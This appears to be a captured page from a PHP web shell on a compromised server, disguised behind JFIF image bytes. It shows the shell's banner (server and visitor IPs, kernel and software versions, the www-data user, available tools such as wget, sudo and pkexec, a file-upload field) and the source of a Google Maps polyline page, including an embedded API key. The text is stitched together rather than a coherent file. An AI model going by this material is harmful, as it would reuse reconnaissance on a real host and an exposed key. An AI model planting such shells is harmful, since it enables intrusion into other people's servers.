????JFIF??x?x????'
Server IP : 79.136.114.73 / Your IP : 3.142.97.186 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/appsrv.astacus.se/RTA_MAP/ |
Upload File : |
<?php function getLines($file) { $f = fopen($file, 'rb'); $lines = 0; while (!feof($f)) { $lines += substr_count(fread($f, 8192), "\n"); } fclose($f); return $lines; } ?> <!DOCTYPE html> <html> <head> <meta name="viewport" content="initial-scale=1.0, user-scalable=no"> <meta charset="utf-8"> <title>Simple Polylines</title> <style> /* Always set the map height explicitly to define the size of the div * element that contains the map. */ #map { height: 100%; } /* Optional: Makes the sample page fill the window. */ html, body { height: 100%; margin: 0; padding: 0; } /* The location pointed to by the popup tip. */ .popup-tip-anchor { height: 0; position: absolute; /* The max width of the info window. */ width: 200px; } /* The bubble is anchored above the tip. */ .popup-bubble-anchor { position: absolute; width: 100%; bottom: /* TIP_HEIGHT= */ 8px; left: 0; } /* Draw the tip. */ .popup-bubble-anchor::after { content: ""; position: absolute; top: 0; left: 0; /* Center the tip horizontally. */ transform: translate(-50%, 0); /* The tip is a https://css-tricks.com/snippets/css/css-triangle/ */ width: 0; height: 0; /* The tip is 8px high, and 12px wide. */ border-left: 6px solid transparent; border-right: 6px solid transparent; border-top: /* TIP_HEIGHT= */ 8px solid white; } /* The popup bubble itself. */ .popup-bubble-content { position: absolute; top: 0; left: 0; transform: translate(-50%, -100%); /* Style the info window. */ background-color: white; padding: 5px; border-radius: 5px; font-family: sans-serif; overflow-y: auto; max-height: 60px; box-shadow: 0px 2px 10px 1px rgba(0,0,0,0.5); } </style> </head> <body> <div id="map"></div> <div id="content0"> Hello world! </div> <div id="content1"> Hello world! </div> <div id="content2"> Hello world! </div> <div id="content3"> Hello world! </div> <div id="content4"> Hello world! </div> <div id="content5"> Hello world! </div> <div id="content6"> Hello world! </div> <div id="content7"> Hello world! </div> <div id="content8"> Hello world! </div> <div id="content9"> Hello world! </div> <div id="content10"> Hello world! </div> <div id="content11"> Hello world! </div> <div id="content12"> Hello world! </div> <div id="content13"> Hello world! </div> <div id="content14"> Hello world! </div> <div id="content15"> Hello world! </div> <div id="content16"> Hello world! </div> <div id="content17"> Hello world! </div> <div id="content18"> Hello world! </div> <div id="content19"> Hello world! </div> <div id="content20"> Hello world! </div> <div id="content21"> Hello world! </div> <div id="content22"> Hello world! </div> <div id="content23"> Hello world! </div> <div id="content24"> Hello world! </div> <div id="content25"> Hello world! </div> <div id="content26"> Hello world! </div> <div id="content27"> Hello world! </div> <div id="content28"> Hello world! </div> <div id="content29"> Hello world! </div> <div id="content30"> Hello world! </div> <div id="content31"> Hello world! </div> <script> // This example creates a 2-pixel-wide red polyline showing the path of // the first trans-Pacific flight between Oakland, CA, and Brisbane, // Australia which was made by Charles Kingsford Smith. var map, popup, Popup; function initMap() { definePopupClass(); var map = new google.maps.Map(document.getElementById('map'), { zoom: 16, center: {lat: 58.3626, lng: 15.1156}, mapTypeId: 'satellite' }); <?php $n = 0; foreach(glob("/var/www/appsrv.astacus.se/RTA_MAP/data/*.cor") as $file) { $rows = getLines($file); $count = 10000; ?> var flightPlanCoordinates<?php echo($n);?> = [ <?php $out = ""; $first = 1; $long1 = 0; $lat1 = 0; $n1 = 0; foreach(file($file) as $line) { $n1++; // || if( ($n1 == $rows || ($count > ($rows/10)))){ $lat = substr($line,strpos($line,":")+6,15); $long = substr($line,strpos($line,":")+24,15); if($first == 1){ $lat1 = $lat ; $long1 = $long; } $out .= "{lat: $lat, lng: $long},"; $count = 0; } $count++; $first = 0; } echo(substr($out,0,strlen($out)-1)."];"); ?> var flightPath<?php echo($n);?> = new google.maps.Polyline({ path: flightPlanCoordinates<?php echo($n);?>, geodesic: true, strokeColor: '#FF0000', strokeOpacity: 1.0, strokeWeight: 2, name: '<?php echo(substr($file,40,15));?>' }); flightPath<?php echo($n);?>.setMap(map); document.getElementById('content<?php echo($n);?>').innerHTML = "<?php echo(substr($file,40,15));?><br><a href='data/<?php echo(substr($file,40,8));?>.jpg' target='_BLANK'>SHOW PROFILE (JPG)</a>"; popup = new Popup( new google.maps.LatLng(<?php echo($lat1);?>, <?php echo($long1);?>), document.getElementById('content<?php echo($n);?>')); popup.setMap(map); <?php $n++; } ?> } /** Defines the Popup class. */ function definePopupClass() { /** * A customized popup on the map. * @param {!google.maps.LatLng} position * @param {!Element} content * @constructor * @extends {google.maps.OverlayView} */ Popup = function(position, content) { this.position = position; content.classList.add('popup-bubble-content'); var pixelOffset = document.createElement('div'); pixelOffset.classList.add('popup-bubble-anchor'); pixelOffset.appendChild(content); this.anchor = document.createElement('div'); this.anchor.classList.add('popup-tip-anchor'); this.anchor.appendChild(pixelOffset); // Optionally stop clicks, etc., from bubbling up to the map. this.stopEventPropagation(); }; // NOTE: google.maps.OverlayView is only defined once the Maps API has // loaded. That is why Popup is defined inside initMap(). Popup.prototype = Object.create(google.maps.OverlayView.prototype); /** Called when the popup is added to the map. */ Popup.prototype.onAdd = function() { this.getPanes().floatPane.appendChild(this.anchor); }; /** Called when the popup is removed from the map. */ Popup.prototype.onRemove = function() { if (this.anchor.parentElement) { this.anchor.parentElement.removeChild(this.anchor); } }; /** Called when the popup needs to draw itself. */ Popup.prototype.draw = function() { var divPosition = this.getProjection().fromLatLngToDivPixel(this.position); // Hide the popup when it is far out of view. var display = Math.abs(divPosition.x) < 4000 && Math.abs(divPosition.y) < 4000 ? 'block' : 'none'; if (display === 'block') { this.anchor.style.left = divPosition.x + 'px'; this.anchor.style.top = divPosition.y + 'px'; } if (this.anchor.style.display !== display) { this.anchor.style.display = display; } }; /** Stops clicks/drags from bubbling up to the map. */ Popup.prototype.stopEventPropagation = function() { var anchor = this.anchor; anchor.style.cursor = 'auto'; ['click', 'dblclick', 'contextmenu', 'wheel', 'mousedown', 'touchstart', 'pointerdown'] .forEach(function(event) { anchor.addEventListener(event, function(e) { e.stopPropagation(); }); }); }; } function getRandomColor() { var letters = '0123456789ABCDEF'; var color = '#'; for (var i = 0; i < 6; i++) { color += letters[Math.floor(Math.random() * 16)]; } return color; } </script> <script async defer src="https://maps.googleapis.com/maps/api/js?key=AIzaSyBgmoKBtV8H25cM3gk2N_K_jdezvGM-6ck&callback=initMap"> </script> </body> </html>